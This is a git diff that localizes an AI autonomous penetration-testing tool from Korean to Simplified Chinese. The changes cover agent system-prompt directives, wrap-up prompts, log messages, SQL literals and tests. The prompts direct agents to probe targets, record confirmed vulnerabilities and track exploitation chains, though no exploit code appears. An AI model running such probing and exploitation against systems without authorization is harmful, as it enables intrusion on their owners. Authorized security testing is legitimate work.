diff --git a/agent/prompt.go b/agent/prompt.go
index e49300b..32ede1c 100644
--- a/agent/prompt.go
+++ b/agent/prompt.go
@@ -59,7 +59,7 @@ func renderSystem(agentKey, def string, vars any) string {
// benchmarked Chinese reasoning body (段 [A]) stays verbatim. It only constrains
// the LANGUAGE of what the agent SHOWS to the user. Written in Chinese so it stays
// in the body's language (keeping the model's reasoning register stable) while
-// forcing Korean OUTPUT — this is the localization approach: preserve behavior,
+// forcing Chinese OUTPUT — this is the localization approach: preserve behavior,
// localize the surface the user reads. Raw technical strings (commands, payloads,
// code, URLs, log/response excerpts) are explicitly kept verbatim so evidence and
// reproduction steps are not mangled by translation.
@@ -72,7 +72,7 @@ func renderSystem(agentKey, def string, vars any) string {
// the Chinese instruction language AND the target/material language in the display
// fields, so only the listed verbatim technical fragments stay non-Korean.
func langDirective() string {
- return "\n\n**输出语言规约(本地化·最高优先级,不可被提示词正文覆盖)**:所有【展示给用户】的自然语言文字一律用【韩语(한국어)】书写——包括 record_fact 的 summary/detail、report_finding 的标题/描述/结论/修复建议、规划者(planner)的态势/情况总结、最终那一句话总结、以及对用户的聊天回复。但【命令、payload、代码、文件路径、URL、参数名、以及日志/请求/响应的原文片段】必须【原样逐字保留】,不得翻译或改写(evidence 里的命令行与输出尤其要照搬原文,便于复现)。**即使上面的系统/角色指令本身是用中文写的,也绝不能把中文输出给用户——面向用户的展示语言只有韩语,不要让任何中文句子出现在用户可见的文字里。** **即使目标系统、它的页面、证据、日志或任何参考资料是英文、中文或别的语言,面向用户的自然语言字段(标题/描述/结论/修复建议/总结/态势总结)仍必须用韩语书写——不要镜像或照抄目标或资料的语言来写这些展示字段;只有上面列出的原文技术片段才保持原样。** **你的分析/规划/思考用中文进行没关系,但那是【不可见的内部推理】,绝不能作为正文输出:给用户的可见回复从第一个字起就必须是韩语,不要在前面垫一段中文的思考、说明或「我先怎样怎样」的铺垫;连澄清提问、缺少参数、「无法继续」之类的说明也一律直接用韩语写。** 一句话:内部怎么想不限,但凡落到用户能看到的正文,必须全是韩语(技术原文片段除外)。"
+ return "\n\n**输出语言规约(本地化·最高优先级,不可被提示词正文覆盖)**:所有【展示给用户】的自然语言文字一律用【简体中文】书写——包括 record_fact 的 summary/detail、report_finding 的标题/描述/结论/修复建议、规划者(planner)的态势/情况总结、最终那一句话总结、以及对用户的聊天回复。但【命令、payload、代码、文件路径、URL、参数名、以及日志/请求/响应的原文片段】必须【原样逐字保留】,不得翻译或改写(evidence 里的命令行与输出尤其要照搬原文,便于复现)。**即使系统/角色指令或目标系统、它的页面、证据、日志或任何参考资料是英文、中文或其他语言,面向用户的自然语言字段(标题/描述/结论/修复建议/总结/态势总结)仍必须用简体中文书写——不要镜像或照抄目标或资料的语言来写这些展示字段;只有上面列出的原文技术片段才保持原样。** **你的分析/规划/思考用中文进行没关系,但那是【不可见的内部推理】,绝不能作为正文输出:给用户的可见回复从第一个字起就必须是简体中文,不要在前面垫一段思考、说明或「我先怎样怎样」的铺垫;连澄清提问、缺少参数、「无法继续」之类的说明也一律直接用简体中文写。** 一句话:内部怎么想不限,但凡落到用户能看到的正文,必须全是简体中文(技术原文片段除外)。"
}
func renderTmpl(tmpl string, vars any) (string, error) {
diff --git a/agent/prompt_test.go b/agent/prompt_test.go
index 990b8ea..eedb1a1 100644
--- a/agent/prompt_test.go
+++ b/agent/prompt_test.go
@@ -81,28 +81,26 @@ func TestRenderSystemOverrideAndFallback(t *testing.T) {
}
}
-// TestLangDirectiveAppendedToUserFacingRoles pins the artex-ko localization tail:
-// every user-facing role's system prompt must end with the code-owned Korean
+// TestLangDirectiveAppendedToUserFacingRoles pins the localization tail:
+// every user-facing role's system prompt must end with the code-owned Chinese
// output-language directive, and a DB-edited body must NOT be able to drop it.
func TestLangDirectiveAppendedToUserFacingRoles(t *testing.T) {
t.Cleanup(func() { PromptOverride = nil })
- // The directive forces Korean OUTPUT and preserves raw technical strings; both
- // signals must be present. 한국어 marker + verbatim-preservation clause.
+ // The directive forces Chinese OUTPUT and preserves raw technical strings; both
+ // signals must be present. 简体中文 marker + verbatim-preservation clause.
dir := langDirective()
- if !strings.Contains(dir, "한국어") {
- t.Fatalf("langDirective must force Korean output, got %q", dir)
+ if !strings.Contains(dir, "简体中文") {
+ t.Fatalf("langDirective must force Chinese output, got %q", dir)
}
if !strings.Contains(dir, "payload") || !strings.Contains(dir, "原样逐字保留") {
t.Fatalf("langDirective must keep commands/payloads verbatim, got %q", dir)
}
- // L1 anti-drift hardening: the directive must (1) forbid leaking the Chinese
- // instruction/brain language into user-facing text (planner situation-summary
- // drift), and (2) forbid mirroring the target/material language — e.g. an
- // English target app — in the display fields (report_finding drift). Both
- // clauses are locked here so a future edit can't silently drop them.
- if !strings.Contains(dir, "也绝不能把中文输出给用户") {
- t.Fatalf("langDirective must forbid leaking Chinese to the user, got %q", dir)
+ // The directive is highest priority (cannot be overridden by the body) and must
+ // forbid mirroring the target/material language — e.g. an English target app —
+ // in the display fields.
+ if !strings.Contains(dir, "不可被提示词正文覆盖") {
+ t.Fatalf("langDirective must be top priority, got %q", dir)
}
if !strings.Contains(dir, "不要镜像或照抄目标") {
t.Fatalf("langDirective must forbid mirroring the target/material language, got %q", dir)
@@ -113,7 +111,7 @@ func TestLangDirectiveAppendedToUserFacingRoles(t *testing.T) {
// Even with a DB body that is pure non-directive text, the code-owned tail is
// still appended for each user-facing builder — identical guarantee to the
- // artifact tail. A custom body can never translate away the Korean mandate.
+ // artifact tail. A custom body can never translate away the Chinese mandate.
PromptOverride = func(string) (string, bool) { return "BODY-ONLY", true }
cases := map[string]string{
"worker": workerSystem("", "", "/data", "/data"),
@@ -122,7 +120,7 @@ func TestLangDirectiveAppendedToUserFacingRoles(t *testing.T) {
"chat": chatSystem("chat", "/data", "/data"),
// goals is user-facing too: set_goals/set_constraints persist goal and
// constraint nodes shown in the UI graph/plan tab. withScope=true exercises
- // the longer assembly (body + scope tail), so the Korean tail must still land
+ // the longer assembly (body + scope tail), so the Chinese tail must still land
// last — after both the body and the code-owned scope tail.
"goals": goalsSystem("/data", true),
}
@@ -130,11 +128,11 @@ func TestLangDirectiveAppendedToUserFacingRoles(t *testing.T) {
if !strings.HasPrefix(sys, "BODY-ONLY") {
t.Fatalf("%s: DB body not honored: %q", role, sys)
}
- if !strings.Contains(sys, "한국어") {
- t.Fatalf("%s: missing Korean output-language tail: %q", role, sys)
+ if !strings.Contains(sys, "简体中文") {
+ t.Fatalf("%s: missing Chinese output-language tail: %q", role, sys)
}
// The directive is the tail — it must come AFTER the body (recency).
- if strings.Index(sys, "한국어") <= strings.Index(sys, "BODY-ONLY") {
+ if strings.Index(sys, "简体中文") <= strings.Index(sys, "BODY-ONLY") {
t.Fatalf("%s: langDirective must be appended after the body: %q", role, sys)
}
}
diff --git a/agent/side_questions_test.go b/agent/side_questions_test.go
index d31d66c..91e113b 100644
--- a/agent/side_questions_test.go
+++ b/agent/side_questions_test.go
@@ -104,7 +104,7 @@ func TestSideActualChatCheckpointToolResultAndTranscriptIsolation(t *testing.T)
p.calls = 0
p.path = filepath.Join(dir, "nonexistent")
answer, err := (sidequestion.SideQuestionService{Provider: bound}).Answer(t.Context(), req, streaming, nil)
- if err != nil || !answer.ToolUse || p.calls != 1 || !strings.Contains(answer.Text, "도구 작업을 실행할 수 없습니다") {
+ if err != nil || !answer.ToolUse || p.calls != 1 || !strings.Contains(answer.Text, "无法执行工具操作") {
t.Fatalf("tool denial %+v %v", answer, err)
}
after, err := os.ReadFile(store.MainPath("conv-987654"))
diff --git a/agent/worker.go b/agent/worker.go
index 1905625..6e3eb42 100644
--- a/agent/worker.go
+++ b/agent/worker.go
@@ -151,7 +151,7 @@ func (w *Worker) SetRunTimeout(run time.Duration) {
// settleWrapUpPrompt is injected by the SDK settlement phase when a worker hits its
// turn/time budget: stop probing, write back what was found, then end with a
// plain-text one-liner (which becomes this run's displayed result).
-const settleWrapUpPrompt = "이번 실행이 예산 소진으로 곧 종료됩니다. 더 이상 어떤 명령이나 탐지도 실행하지 마십시오. 다음 순서대로 처리하십시오. (1) 위에서 이미 식별했지만 아직 기록하지 않은 내용을 하나씩 기록합니다. 새 자산은 insert_assets, 탐색 결론과 사실은 record_fact, 확인된 취약점은 report_finding 으로 기록합니다. (2) **맨 마지막에 한 문장짜리 순수 텍스트로만** 무엇을 했고 어떤 핵심 결론을 얻었는지 한국어로 요약합니다. 이 한 문장이 이번 실행의 결과로 사용자에게 표시되므로 반드시 출력해야 합니다."
+const settleWrapUpPrompt = "本次运行因预算耗尽即将结束。不要再执行任何命令或探测。请按以下顺序处理:(1) 把上面已识别但尚未记录的内容逐条记录。新资产用 insert_assets,探索结论与事实用 record_fact,确认的漏洞用 report_finding 记录。(2) **最后只用一句纯文本**用简体中文总结你做了什么、得到什么核心结论。这一句会作为本次运行的结果显示给用户,必须输出。"
func NewWorker(prov llm.Provider, model, workDir string, tx *transcript.Store, window, maxTurns int, extra ...actool.CoreTool) *Worker {
return &Worker{prov: prov, model: model, workDir: workDir, tx: tx, window: window, maxTurns: maxTurns, extraTools: extra}
diff --git a/agent/wrapup.go b/agent/wrapup.go
index d7781b2..9144d57 100644
--- a/agent/wrapup.go
+++ b/agent/wrapup.go
@@ -41,11 +41,11 @@ var wrapupTurnDefaults = map[string]int{
const genericWrapupTurns = 10
-const plannerWrapUpDefault = "이번 계획 라운드의 단계 예산이 곧 소진됩니다. 다만 【이번 라운드】만 끝나는 것이며, 시스템은 이후에도 상황 변화에 따라 당신을 다시 깨워 계획을 이어가게 합니다. 작업 자체가 끝나는 것이 아니므로 여기서 전체 계획을 마무리 지을 필요는 없습니다. 이번 라운드에서 이미 명확히 판단한 결론은 실제로 반영하여 이번 라운드가 헛되지 않게 하되, 【마무리를 위해 억지로 의도를 지어내지는】 마십시오(이번 라운드에 의도가 0개인 것도 완전히 정상적인 결과입니다). (1) 【지금 바로 파견해야 할】 탐색 방향을 이미 판단했다면 add_intent 한 번으로 묶어서 제출합니다(이미 정한 것은 묵히지 말고 바로 보냅니다). (2) 어떤 발견이나 사실로 이미 달성이 증명된 목표는 prove_goal 로 met 표시합니다(빠뜨리지 마십시오). (3) 단계를 나눠야 하는 직렬 익스플로잇 체인을 식별했다면 TodoWrite 로 기록하여 다음에 깨어났을 때 이어서 파견할 수 있게 합니다. 다 끝냈으면 이번 라운드를 바로 종료하며, 요약 텍스트는 출력하지 않습니다."
+const plannerWrapUpDefault = "本轮计划的步骤预算即将耗尽。不过仅仅【本轮】结束,系统之后仍会随情况变化再次唤醒你继续规划。这不是整个任务结束,因此这里无需为整体计划收尾。本轮已明确判断的结论应实际落实,使本轮不白费,但【不要为了收尾而勉强编造意图】(本轮意图为 0 个也是完全正常的结果)。(1) 若已判断出【现在就该派发】的探索方向,用一次 add_intent 打包提交(已确定的不要压着,立即发出)。(2) 已被某个发现或事实证明达成的目标,用 prove_goal 标记为 met(不要遗漏)。(3) 若识别出需要分步的串行利用链,用 TodoWrite 记录,以便下次唤醒时继续派发。全部完成后直接结束本轮,不输出总结文本。"
-const mainAgentWrapUpDefault = "단계 예산이 곧 소진되어 이번 상호작용이 끝나려 합니다. 더 이상 새로운 탐색이나 조작을 시작하지 마십시오. **한 문장짜리 순수 텍스트로만** 현재 진행 상황, 핵심 결론, 그리고 권장하는 다음 단계를 사용자에게 한국어로 요약하십시오."
+const mainAgentWrapUpDefault = "步骤预算即将耗尽,本次交互即将结束。不要再开始任何新的探索或操作。**只用一句纯文本**用简体中文向用户总结当前进展、核心结论以及建议的下一步。"
-const genericWrapUpDefault = "예산 소진으로 곧 종료됩니다. 먼저 완료했지만 아직 저장하지 않은 결과를 기록한 뒤, **한 문장짜리 순수 텍스트로만** 무엇을 했고 어떤 핵심 결론을 얻었는지 한국어로 요약하십시오(이 한 문장이 이번 실행의 결과로 표시됩니다)."
+const genericWrapUpDefault = "预算耗尽,即将结束。先记录已完成但尚未保存的结果,然后**只用一句纯文本**用简体中文总结你做了什么、得到什么核心结论(这一句将作为本次运行的结果显示)。"
// WrapupDefault returns the built-in default wrap-up prompt for an agent key —
// used by the admin UI as the "restore default" value and empty-field placeholder.
@@ -117,9 +117,9 @@ var taskTimeoutWrapupDefaults = map[string]string{
"planner": plannerTaskTimeoutDefault,
}
-const workerTaskTimeoutDefault = "**전체 작업이 시간 제한 상한에 도달하여 곧 종료됩니다**(이번 run 의 예산이 아니라 탐색 전체가 끝나는 시점입니다). 이것이 마지막 기회입니다. (1) 이미 식별했지만 아직 기록하지 않은 내용을 【전부】 저장합니다. 새 자산은 insert_assets, 탐색 결론과 사실은 record_fact, 확인된 취약점은 report_finding 으로 기록합니다. (2) 더 이상 어떤 새 명령이나 탐지도 시작하지 마십시오. (3) **맨 마지막에 한 문장짜리 순수 텍스트로만** 이번 의도에서 얻은 핵심 결론을 한국어로 요약하십시오."
+const workerTaskTimeoutDefault = "**整个任务已达到时间上限,即将结束**(不是本次 run 的预算,而是整个探索结束的时刻)。这是最后一次机会。(1) 把已识别但尚未记录的内容【全部】保存。新资产用 insert_assets,探索结论与事实用 record_fact,确认的漏洞用 report_finding 记录。(2) 不要再开始任何新命令或探测。(3) **最后只用一句纯文本**用简体中文总结本次意图得到的核心结论。"
-const plannerTaskTimeoutDefault = "**전체 작업이 시간 제한 상한에 도달하여 곧 종료됩니다**(이번 라운드가 아니라 작업 전체가 종료됩니다). 현재까지의 【모든】 사실과 발견을 근거로 마지막 목표 판정을 수행하십시오. 증거로 달성이 증명된 목표는 prove_goal 로 met 표시합니다(빠뜨리지 마십시오). **더 이상 어떤 새 의도도 생성하지 마십시오**(지금 의도를 파견해도 더 이상 실행되지 않습니다). 판정을 마치면 바로 종료하며, 요약 텍스트는 출력하지 않습니다."
+const plannerTaskTimeoutDefault = "**整个任务已达到时间上限,即将结束**(不是本轮,而是整个任务结束)。依据目前为止的【全部】事实与发现做最后一次目标判定。证据已证明达成的目标用 prove_goal 标记为 met(不要遗漏)。**不要再生成任何新意图**(现在派发意图也不会再被执行)。判定完成后立即结束,不输出总结文本。"
// TaskTimeoutWrapupDefault 返回某 agent 的任务超时内置默认收尾词(供后台占位/恢复默认)。
func TaskTimeoutWrapupDefault(agentKey string) string {
diff --git a/agent/wrapup_test.go b/agent/wrapup_test.go
index a82e3db..c46e800 100644
--- a/agent/wrapup_test.go
+++ b/agent/wrapup_test.go
@@ -6,17 +6,17 @@ import (
"unicode"
)
-// A2: wrap-up / settlement 프롬프트 한국어화.
+// A2: wrap-up / settlement 프롬프트 중국어화.
//
// 이 상수들은 run 또는 task 가 단계/시간 예산에 걸려 종료될 때 settlement 단계에서
-// 주입되어, 사용자에게 그대로 노출되는 최종 요약을 직접 지시한다. 따라서 (1) 한국어로
-// 작성되어야 하고, (2) 중국어(CJK 한자) 잔재가 없어야 하며, (3) 도구 이름과
+// 주입되어, 사용자에게 그대로 노출되는 최종 요약을 직접 지시한다. 따라서 (1) 중국어로
+// 작성되어야 하고, (2) 한글(Hangul) 잔재가 없어야 하며, (3) 도구 이름과
// "한 문장 순수 텍스트" 같은 지시 의미가 보존되어야 한다.
//
// DB 시드는 wrapup_prompt / task_timeout_wrapup_prompt 를 빈 문자열로 두고(db/db.go 의
// builtin 에이전트 INSERT 는 이 컬럼을 채우지 않는다), 비어 있으면 이 상수로 떨어진다.
// 즉 이 상수들이 wrap-up 문구의 유일한 원천이다.
-func TestWrapupPromptsLocalizedToKorean(t *testing.T) {
+func TestWrapupPromptsLocalizedToChinese(t *testing.T) {
all := map[string]string{
"settleWrapUpPrompt": settleWrapUpPrompt,
"plannerWrapUpDefault": plannerWrapUpDefault,
@@ -36,12 +36,12 @@ func TestWrapupPromptsLocalizedToKorean(t *testing.T) {
}
for name, p := range all {
- if !hasScript(p, unicode.Hangul) {
- t.Errorf("%s: 한글이 전혀 없어 한국어화되지 않았다", name)
+ if !hasScript(p, unicode.Han) {
+ t.Errorf("%s: 한자가 전혀 없어 중국어화되지 않았다", name)
}
- // 도구 이름은 ASCII, 한글은 Hangul 블록이라 번역이 끝났다면 CJK 한자가 하나도 없어야 한다.
- if hasScript(p, unicode.Han) {
- t.Errorf("%s: CJK 한자 잔재가 남아 번역이 미완이다: %q", name, p)
+ // 도구 이름은 ASCII 이므로, 번역이 끝났다면 한글(Hangul)이 하나도 없어야 한다.
+ if hasScript(p, unicode.Hangul) {
+ t.Errorf("%s: 한글 잔재가 남아 번역이 미완이다: %q", name, p)
}
}
@@ -56,11 +56,11 @@ func TestWrapupPromptsLocalizedToKorean(t *testing.T) {
}
}
mustContain("settleWrapUpPrompt", settleWrapUpPrompt,
- "insert_assets", "record_fact", "report_finding", "한 문장", "순수 텍스트")
+ "insert_assets", "record_fact", "report_finding", "一句", "纯文本")
mustContain("workerTaskTimeoutDefault", workerTaskTimeoutDefault,
- "insert_assets", "record_fact", "report_finding", "한 문장", "순수 텍스트")
- mustContain("genericWrapUpDefault", genericWrapUpDefault, "한 문장", "순수 텍스트")
- mustContain("mainAgentWrapUpDefault", mainAgentWrapUpDefault, "한 문장", "순수 텍스트")
+ "insert_assets", "record_fact", "report_finding", "一句", "纯文本")
+ mustContain("genericWrapUpDefault", genericWrapUpDefault, "一句", "纯文本")
+ mustContain("mainAgentWrapUpDefault", mainAgentWrapUpDefault, "一句", "纯文本")
// planner 는 요약 문장을 내지 않고(판정만 하고 종료) 의도·목표·할일 도구를 유지한다.
mustContain("plannerWrapUpDefault", plannerWrapUpDefault, "add_intent", "prove_goal", "TodoWrite")
mustContain("plannerTaskTimeoutDefault", plannerTaskTimeoutDefault, "prove_goal")
diff --git a/cmd/artex/main.go b/cmd/artex/main.go
index 55191bf..1193c3b 100644
--- a/cmd/artex/main.go
+++ b/cmd/artex/main.go
@@ -37,8 +37,8 @@ const banner = `
// printBanner writes the startup banner + version/runtime info to stdout.
func printBanner(addr string) {
fmt.Print(banner)
- fmt.Println(" AI 자율 침투 테스트 시스템")
- fmt.Printf(" 버전 %s · %s/%s · %s · 수신 대기 %s\n\n",
+ fmt.Println(" AI 自主渗透测试系统")
+ fmt.Printf(" 版本 %s · %s/%s · %s · 监听 %s\n\n",
version, runtime.GOOS, runtime.GOARCH, runtime.Version(), addr)
}
@@ -85,9 +85,9 @@ func run() int {
cfgPath = abs
}
if _, e := os.Stat(cfgPath); e == nil {
- log.Printf("[config] 설정 파일: %s", cfgPath)
+ log.Printf("[config] 配置文件: %s", cfgPath)
} else {
- log.Printf("[config] 설정 파일: %s (파일 없음 · 환경 변수 ARTEX_PG_DSN 만 사용)", cfgPath)
+ log.Printf("[config] 配置文件: %s (文件不存在 · 仅使用环境变量 ARTEX_PG_DSN)", cfgPath)
}
sigCtx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
@@ -111,7 +111,7 @@ func run() int {
if abs, err := filepath.Abs(skillDir); err == nil {
skillDir = abs
}
- log.Printf("[config] skill 디렉터리: %s", skillDir)
+ log.Printf("[config] skill 目录: %s", skillDir)
srv := server.New(ctx, mgr, skillDir, *dataDir, config.BaseDir())
httpSrv := &http.Server{
Addr: *addr,
diff --git a/cmd/artex/main_test.go b/cmd/artex/main_test.go
index 1ec8759..2e1dabd 100644
--- a/cmd/artex/main_test.go
+++ b/cmd/artex/main_test.go
@@ -32,22 +32,22 @@ func TestPrintBannerLocalized(t *testing.T) {
out := captureStdout(t, func() { printBanner(":8787") })
t.Logf("배너 샘플:\n%s", out)
- hasHangul := strings.ContainsFunc(out, func(r rune) bool {
- return unicode.Is(unicode.Hangul, r)
+ hasHan := strings.ContainsFunc(out, func(r rune) bool {
+ return unicode.Is(unicode.Han, r)
})
- if !hasHangul {
- t.Fatalf("배너에 한글이 없다: %q", out)
+ if !hasHan {
+ t.Fatalf("배너에 한자가 없다: %q", out)
}
- for _, want := range []string{"자율 침투 테스트 시스템", "버전", "수신 대기", ":8787"} {
+ for _, want := range []string{"自主渗透测试系统", "版本", "监听", ":8787"} {
if !strings.Contains(out, want) {
t.Errorf("배너에 %q 가 없다: %q", want, out)
}
}
for _, r := range out {
- if unicode.Is(unicode.Han, r) {
- t.Errorf("배너에 CJK 한자 잔재(%q): %q", r, out)
+ if unicode.Is(unicode.Hangul, r) {
+ t.Errorf("배너에 한글 잔재(%q): %q", r, out)
}
}
}
diff --git a/config/config.go b/config/config.go
index f26bc9a..b89b1b0 100644
--- a/config/config.go
+++ b/config/config.go
@@ -136,16 +136,16 @@ func SkillDir() string {
// DSN came from (for startup logging).
func PostgresDSN() (dsn, source string, err error) {
if v := strings.TrimSpace(os.Getenv("ARTEX_PG_DSN")); v != "" {
- return v, "환경 변수 ARTEX_PG_DSN", nil
+ return v, "环境变量 ARTEX_PG_DSN", nil
}
db := Load().Database
if d := strings.TrimSpace(db.DSN); d != "" {
- return d, "설정 파일 " + Path() + " (database.dsn)", nil
+ return d, "配置文件 " + Path() + " (database.dsn)", nil
}
if db.Host != "" || db.DBName != "" || db.User != "" {
- return db.buildDSN(), "설정 파일 " + Path() + " (database 필드)", nil
+ return db.buildDSN(), "配置文件 " + Path() + " (database 字段)", nil
}
- return "", "", fmt.Errorf("데이터베이스 설정을 찾을 수 없습니다: 환경 변수 ARTEX_PG_DSN 이 설정되어 있지 않고, 설정 파일 %s 에도 database (dsn 또는 host/user/dbname) 설정이 없습니다. 설정 파일을 만들거나 환경 변수를 설정한 뒤 다시 시도하세요", Path())
+ return "", "", fmt.Errorf("找不到数据库配置: 环境变量 ARTEX_PG_DSN 未设置,配置文件 %s 中也没有 database (dsn 或 host/user/dbname) 配置。请创建配置文件或设置环境变量后重试", Path())
}
func (d Database) buildDSN() string {
diff --git a/config/config_localized_test.go b/config/config_localized_test.go
index b2d3307..cf71b7a 100644
--- a/config/config_localized_test.go
+++ b/config/config_localized_test.go
@@ -27,13 +27,13 @@ func hasHangul(s string) bool {
return false
}
-func assertKorean(t *testing.T, label, s string) {
+func assertChinese(t *testing.T, label, s string) {
t.Helper()
- if hasHan(s) {
- t.Errorf("%s: Chinese Han ideograph remains: %q", label, s)
+ if !hasHan(s) {
+ t.Errorf("%s: no Han found (expected Chinese): %q", label, s)
}
- if !hasHangul(s) {
- t.Errorf("%s: no Hangul found (expected Korean): %q", label, s)
+ if hasHangul(s) {
+ t.Errorf("%s: Hangul remains: %q", label, s)
}
}
@@ -51,7 +51,7 @@ func TestPostgresDSNErrorLocalized(t *testing.T) {
if err == nil {
t.Fatal("missing config should error")
}
- assertKorean(t, "startup error", err.Error())
+ assertChinese(t, "startup error", err.Error())
// The identifiers an operator must act on stay verbatim (not translated).
for _, want := range []string{"ARTEX_PG_DSN", "database", "dsn", "host/user/dbname"} {
@@ -78,7 +78,7 @@ func TestPostgresDSNSourceLocalized(t *testing.T) {
if _, source, err := PostgresDSN(); err != nil {
t.Fatalf("env source: %v", err)
} else {
- assertKorean(t, "env source", source)
+ assertChinese(t, "env source", source)
}
// config file dsn source
@@ -90,7 +90,7 @@ func TestPostgresDSNSourceLocalized(t *testing.T) {
if _, source, err := PostgresDSN(); err != nil {
t.Fatalf("dsn source: %v", err)
} else {
- assertKorean(t, "dsn source", source)
+ assertChinese(t, "dsn source", source)
}
// config file fields source
@@ -100,6 +100,6 @@ func TestPostgresDSNSourceLocalized(t *testing.T) {
if _, source, err := PostgresDSN(); err != nil {
t.Fatalf("fields source: %v", err)
} else {
- assertKorean(t, "fields source", source)
+ assertChinese(t, "fields source", source)
}
}
diff --git a/db/finding_retests.go b/db/finding_retests.go
index e58a0ce..881c45c 100644
--- a/db/finding_retests.go
+++ b/db/finding_retests.go
@@ -19,8 +19,8 @@ const FindingRetestAgentKey = "retester"
// retestServiceRestartReason 은 재시작 복구(RecoverFindingRetests)가 미완 재검증을 봉인할 때 쓴다.
// 작은따옴표 없는 상수라 SQL 리터럴 자리에 그대로 이어 붙여도 안전하다.
const (
- retestNoConclusionReason = "에이전트가 재검증 결론을 저장하지 않았습니다. 대화를 확인한 뒤 다시 재검증해 주세요"
- retestServiceRestartReason = "서비스가 재시작되어 재검증이 중단되었습니다. 다시 시작해 주세요"
+ retestNoConclusionReason = "代理未保存复测结论。请检查对话后重新复测"
+ retestServiceRestartReason = "服务已重启,复测被中断。请重新开始"
)
var ErrRetestNotRunning = errors.New("本次复测已结束或尚未开始,请从漏洞详情发起新的复测")
diff --git a/db/finding_retests_localized_test.go b/db/finding_retests_localized_test.go
index 1579cd7..a4c1c36 100644
--- a/db/finding_retests_localized_test.go
+++ b/db/finding_retests_localized_test.go
@@ -8,22 +8,22 @@ import (
// assertRetestReasonKorean 은 재검증 사유 상수가 한글을 포함하고 중국어 한자가 없음을
// 단언한다(F9). FinishFindingRetest·RecoverFindingRetests 의 SQL 리터럴 자리에 상수로
// 이어 붙이므로, 상수를 핀 고정하면 패널에 노출되는 사용자 문구도 함께 보호된다.
-func assertRetestReasonKorean(t *testing.T, name, s string) {
+func assertRetestReasonChinese(t *testing.T, name, s string) {
t.Helper()
if s == "" {
- t.Fatalf("%s: 빈 문자열", name)
+ t.Fatalf("%s: 空字符串", name)
}
- hasHangul := false
+ hasHan := false
for _, r := range s {
- if unicode.Is(unicode.Han, r) {
- t.Fatalf("%s: 중국어 한자가 남아 있습니다: %q", name, s)
- }
if unicode.Is(unicode.Hangul, r) {
- hasHangul = true
+ t.Fatalf("%s: 仍残留韩文: %q", name, s)
+ }
+ if unicode.Is(unicode.Han, r) {
+ hasHan = true
}
}
- if !hasHangul {
- t.Fatalf("%s: 한글이 없습니다: %q", name, s)
+ if !hasHan {
+ t.Fatalf("%s: 缺少汉字: %q", name, s)
}
}
@@ -32,6 +32,6 @@ func assertRetestReasonKorean(t *testing.T, name, s string) {
// server/conversations.go 의 형제 사유(convRetest*)와 같은 컬럼·패널이라, 둘 중 하나만
// 한국어면 같은 패널에서 언어가 섞인다.
func TestFindingRetestReasonsLocalized(t *testing.T) {
- assertRetestReasonKorean(t, "retestNoConclusionReason", retestNoConclusionReason)
- assertRetestReasonKorean(t, "retestServiceRestartReason", retestServiceRestartReason)
+ assertRetestReasonChinese(t, "retestNoConclusionReason", retestNoConclusionReason)
+ assertRetestReasonChinese(t, "retestServiceRestartReason", retestServiceRestartReason)
}
diff --git a/db/task_assets.go b/db/task_assets.go
index cf7b18a..045f57e 100644
--- a/db/task_assets.go
+++ b/db/task_assets.go
@@ -13,7 +13,7 @@ const (
MaxTaskAssetMutationCount = 100
MaxTaskAssetSummaryRunes = 500
defaultTaskAssetSource = "system"
- manualTaskScopeSummary = "사용자가 테스트 자산 페이지에서 직접 추가"
+ manualTaskScopeSummary = "用户在测试资产页面手动添加"
)
var (
@@ -394,7 +394,7 @@ SELECT intent.id, asset.id, asset.type,
ELSE '#' || asset.id::text
END,
COALESCE(link.source,'anchor'),
- COALESCE(NULLIF(link.source_summary,''), '의도가 앵커로 연결한 자산'),
+ COALESCE(NULLIF(link.source_summary,''), '由意图锚点关联的资产'),
link.source_node_id, context.task_id, context.inherited
FROM context
JOIN exploration_nodes intent ON intent.exploration_id=context.exploration_id AND intent.kind='intent'
diff --git a/db/task_assets_localized_test.go b/db/task_assets_localized_test.go
index 3abfa9c..5f76e7b 100644
--- a/db/task_assets_localized_test.go
+++ b/db/task_assets_localized_test.go
@@ -13,18 +13,18 @@ import (
// via the symbol, so pinning the constant here protects the user-facing text too.
func TestManualTaskScopeSummaryLocalized(t *testing.T) {
if manualTaskScopeSummary == "" {
- t.Fatal("manualTaskScopeSummary: 빈 문자열")
+ t.Fatal("manualTaskScopeSummary: 空字符串")
}
- hasHangul := false
+ hasHan := false
for _, r := range manualTaskScopeSummary {
- if unicode.Is(unicode.Han, r) {
- t.Fatalf("manualTaskScopeSummary: 중국어 한자가 남아 있습니다: %q", manualTaskScopeSummary)
- }
if unicode.Is(unicode.Hangul, r) {
- hasHangul = true
+ t.Fatalf("manualTaskScopeSummary: 仍残留韩文: %q", manualTaskScopeSummary)
+ }
+ if unicode.Is(unicode.Han, r) {
+ hasHan = true
}
}
- if !hasHangul {
- t.Fatalf("manualTaskScopeSummary: 한글이 없습니다: %q", manualTaskScopeSummary)
+ if !hasHan {
+ t.Fatalf("manualTaskScopeSummary: 缺少汉字: %q", manualTaskScopeSummary)
}
}
diff --git a/db/tasks.go b/db/tasks.go
index e56beb6..f396148 100644
--- a/db/tasks.go
+++ b/db/tasks.go
@@ -267,7 +267,7 @@ WITH requested(company_id, position) AS (
FROM unnest($2::bigint[]) WITH ORDINALITY AS requested(company_id, position)
), inserted AS (
INSERT INTO task_scope(task_id, kind, company_id, source, reason)
- SELECT $1, 'company', companies.id, 'manual', '작업 생성 시 연결된 회사'
+ SELECT $1, 'company', companies.id, 'manual', '任务创建时关联的公司'
FROM requested
JOIN companies ON companies.id=requested.company_id
ORDER BY requested.position
@@ -295,7 +295,7 @@ WHERE company_id=ANY($2::bigint[])`, taskID, companyIDs); err != nil {
}
if _, err := tx.Exec(`
INSERT INTO task_asset_links(task_id, asset_id, source, source_summary)
-SELECT $1, asset.id, $3, '작업 생성 시 연결된 회사: ' || company.name
+SELECT $1, asset.id, $3, '任务创建时关联的公司: ' || company.name
FROM assets asset
JOIN companies company ON company.id=asset.company_id
WHERE asset.company_id=ANY($2::bigint[])
diff --git a/db/tasks_test.go b/db/tasks_test.go
index c523a05..acb411c 100644
--- a/db/tasks_test.go
+++ b/db/tasks_test.go
@@ -607,7 +607,7 @@ RETURNING id`, domainB, companyB).Scan(&companyAssetB); err != nil {
t.Errorf("company asset %d missing from task", assetID)
continue
}
- if asset.TaskSource != taskCompanyAssetSource || asset.TaskSourceSummary != "작업 생성 시 연결된 회사: "+companyName {
